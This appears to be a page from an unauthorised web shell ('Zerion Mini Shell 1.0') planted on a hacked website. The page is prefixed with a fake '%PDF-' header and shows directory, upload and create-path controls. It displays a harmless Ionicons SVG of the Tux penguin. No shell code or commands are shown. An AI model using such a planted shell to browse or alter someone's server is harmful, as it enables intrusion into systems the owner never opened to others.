%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/medipszd/www/bower_components/Ionicons/src/
Upload File :
Create Path :
Current File : //home/medipszd/www/bower_components/Ionicons/src/social-tux.svg

<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.2.1, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="512px" height="512px" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve">
<g>
	<path fill="#010101" d="M254.7,101.3c-0.6,1-1.2,2-1.7,3.1c1.8-3.5,4.3-6.5,7.4-8.7C258.3,97,256.3,98.8,254.7,101.3
		C254.1,102.3,256.3,98.8,254.7,101.3z"/>
	<path fill="#010101" d="M426.3,396c-6.7-4-13.2-11-12-18.8c2.3-15.3,2.5-21.5-0.2-25.8c-1.899-3.2-5.5-5-8.6-5.801
		c2-2.5,3.1-5.399,3.8-10.899c1.842-14.168-3.239-30.67-6.61-44.243c-4.445-17.9-10.319-34.014-20.432-49.522
		c-16.489-25.288-37.253-46.804-51.857-73.435c-9.7-29-4.301-47.1-4.801-66.2C324.7,64,298.7,32,261,32h-14c-37.5,0-58,26.9-58,60
		c0.697,16.666,1.352,33.333,2,50c0.769,19.756,1.98,37.667-8,55.3c-7.033,12.488-19.571,22.43-28.592,33.478
		c-9.525,11.665-13.06,23.669-17.859,37.619c-5.987,17.401-21.275,30.906-24.886,48.929c-1.658,8.271,2.726,17.857-0.83,24.693
		c-3.698,7.109-0.813,14.469-2.833,21.682c-3.505,11.729-20.731,10.729-30.215,11.508c-17.602,1.443-11.051,17.988-7.843,29.701
		c5.598,20.435-19.54,42.078,11.032,50.471c13.989,3.84,28.586,5.13,42.727,8.32c13.981,3.154,26.917,8.612,40.396,13.262
		c10.469,3.611,20.262,4.146,30.323-1.232c10.982-5.87,18.947-15.083,31.691-17c24.707-3.716,54.829-4.169,79.373,0.63
		c7.507,1.468,10.075,6.525,14.905,11.766c8.145,8.838,21.514,10.125,32.794,8.22c11.89-2.01,20.846-9.466,29.686-17.112
		c12.526-10.835,26.137-17.996,40.791-25.547c7.439-3.833,22.178-9.388,24.159-18.903C450.151,406.573,433.642,400.383,426.3,396z
		 M202,451.3c-1.3,13-13.9,20.3-25.4,19.3c-19.502-1.649-37.86-12.237-57.164-15.75c-9.393-1.709-47.351-3.173-46.943-17.079
		c0.215-7.361,5.751-11.666,7.567-18.415c2.811-10.449-5.753-19.932-6.32-30.16c-0.447-8.081,10.73-7.607,16.288-8.053
		c8.761-0.702,19.157-2.012,23.572-11.043c1.6-3.3-0.5-15,1.9-21.8c3.527-10.155,15.489-8.949,23.3-4.899
		c17.762,9.067,28.943,35.546,38.533,51.821C187.058,411.728,204.045,430.843,202,451.3z M318.3,385.7
		c2.289,11.787,4.224,24.387,1.7,36.3c-2.016,9.516-8.562,15.614-12.7,24c-2.2-6.8,11.3-16.7,9.8-33.7
		c-0.042-0.475-0.947-10.882-1.036-10.834c-1.979,1.082-3.825,5.075-5.304,6.73c-4.809,5.383-10.771,9.658-16.729,13.677
		c-13.797,9.306-29.221,15.058-45.83,16.627c-21,2-38-10.5-38-10.5c2.517,8.305,8.992,21,1.1,28.3
		c1.743-15.648-4.876-28.06-11.6-41.7c46.374-24.639-41.363-64.397-53-79.8c-10.476-13.896-5.553-31.83-2.7-43.5
		c-3.443,13.775-3.959,41.956,14,46.8c7.922,2.169,5.605-37.071,5.984-41.463c1.58-18.312,7.721-35.997,18.343-51.015
		c3.399-4.806,1.863-9.533,2.673-15.322c1.693-10.668,7.295-20.547,13.488-29.225c5.169-7.243,1.735-12.618,3.014-21.055
		c0.727-4.795,5.118,3.193,5.798,4.279c4,6.5,16.7,22.7,24.7,22c13.277-1.161,24.692-15.938,36.015-22.046
		c3.591-1.937,14.41-5.242,15.866-9.632c1.768-5.33-12.666-0.161-14.114,0.583c-10.782,5.535-31.018,21.448-43.867,15.295
		c-8.762-4.195-10.691-14.994-17.2-20.5c15.4,13.6,21.5,10.5,27.6,9.1c9.665-2.182,18.797-6.486,27.8-10.5
		c4.217-1.88,20.107-4.041,22.301-8.7c2.745-5.834-5.05-6.726-8.068-3.58c-6.251,6.515-15.853,8.981-24.097,11.787
		c-18.885,6.427-37.644,9.131-51.835-8.607c-8.354-10.212,15.558-22.504,22.2-28.8c0,0,1-7.2-0.6-12.7c-1.9-6.5-7.8-9.3-11.9-8.1
		c-4.1,1.1-8,5.5-6.8,14.8c1,8.3,7,11,7,11s-2.7,3.5-5.2,4.7c0,0-0.8-0.3-3.5-6.3c-2.7-6-6.6-19.5-0.3-31.1
		c6.3-11.6,19.6-5.2,23.8,3.8c3.9,8.3,2.4,22.7,2.4,22.7c3.358-0.843,6.835-1.3,10.3-1.3c4.242,0,6.814,4.563,10.6,4.8
		c-0.635,0-0.564-18.124-0.233-20.078c1.099-6.49,4.112-13.619,9.933-17.222c16.087-11.491,34.6,3.916,34.6,21.2
		c0.024,4.486-0.137,9.215-1.199,13.6c-0.659,2.637-1.582,8.469-5.114,9.177c-1.145,0.23-10.683-0.431-7.985-3.277
		c12.807-12.812-1.822-38.207-17.4-24.5c-5.601,4.199-5.483,13.833-4.801,20c1.098,9.141,20.51,11.541,26.852,13.78
		c8.224,2.903,7.943,9.626,6.679,17.116c-1.9,11.26-2.815,18.792,4.381,28.214c7.344,9.616,12.929,20.086,15.915,31.878
		c1.483,5.859,1.665,10.843,5.621,15.57c5.983,7.151,10.619,14.805,13.291,23.817c5.225,17.621,6.513,35.422,6.162,53.625
		c-0.5,8.199-2.1,15,8.3,9.699c4-2,6.5-2.899,11-3.699c3.101-6.301,4.4-18.301,4.5-24.301c0.2-13.5-0.3-41.5-27.699-71.5
		c0,0,28.5,21.7,33,62c2.5,22.301-2,34.4-2,34.4c5.3,1.3,10.8,5.3,13.6,9.8c-0.133-0.22,1.038,1.748,1.179,1.864
		c-9.811-8.171-31.708-12.859-39.679,0.236c-2,3.3-3.1,7.6-3.2,11.699c-7.1-1.199-12.399,0-16.8,4.9
		C313.5,358.1,316.3,375.3,318.3,385.7C320.3,396,316.3,375.3,318.3,385.7z M220.6,124.9c-0.2-4.9-2.1-9-4.7-10.8
		c0.3-0.3,0.8-0.7,1.7-0.4c1.4,0.4,3.5,2.7,4.3,6.3c0.7,2.9,0.4,7.7-1.4,7.7C220.498,126.766,220.531,125.833,220.6,124.9
		C220.4,120,220.6,125.8,220.6,124.9z M275.3,112.9c0.4-0.3,1.101-0.6,2.3-0.3c1.801,0.4,4.4,2.8,5.301,6.2
		c0.699,2.8,0.1,7.4-2.2,7.3c-0.005-0.903,0.062-1.803,0.2-2.7C280.8,118.8,278.6,114.8,275.3,112.9
		C275.7,112.6,278.6,114.8,275.3,112.9z M412.4,432.9c-17.504,7.553-31.304,19.968-47.117,30.19
		c-13.824,8.937-38.156,8.313-40.022-12.879c-1.565-17.776,4.184-35.288,1.84-53.357c-1.587-12.239-8.534-28.906-2.301-40.854
		c2.7-5.1,8.101-5.5,12.5-4c3.193,13.267,13.932,23.6,28,23.6c17.031,0,23.542-14.008,34-24.5c3.4,0.2,7.4,1.101,8.8,4.801
		c2.301,5.8-1.899,17.5-1.8,22.3c0.3,15.7,9,19.2,26.4,29C448,416,436.9,422.3,412.4,432.9C388.3,443.3,436.9,422.3,412.4,432.9z"/>
</g>
</svg>

Zerion Mini Shell 1.0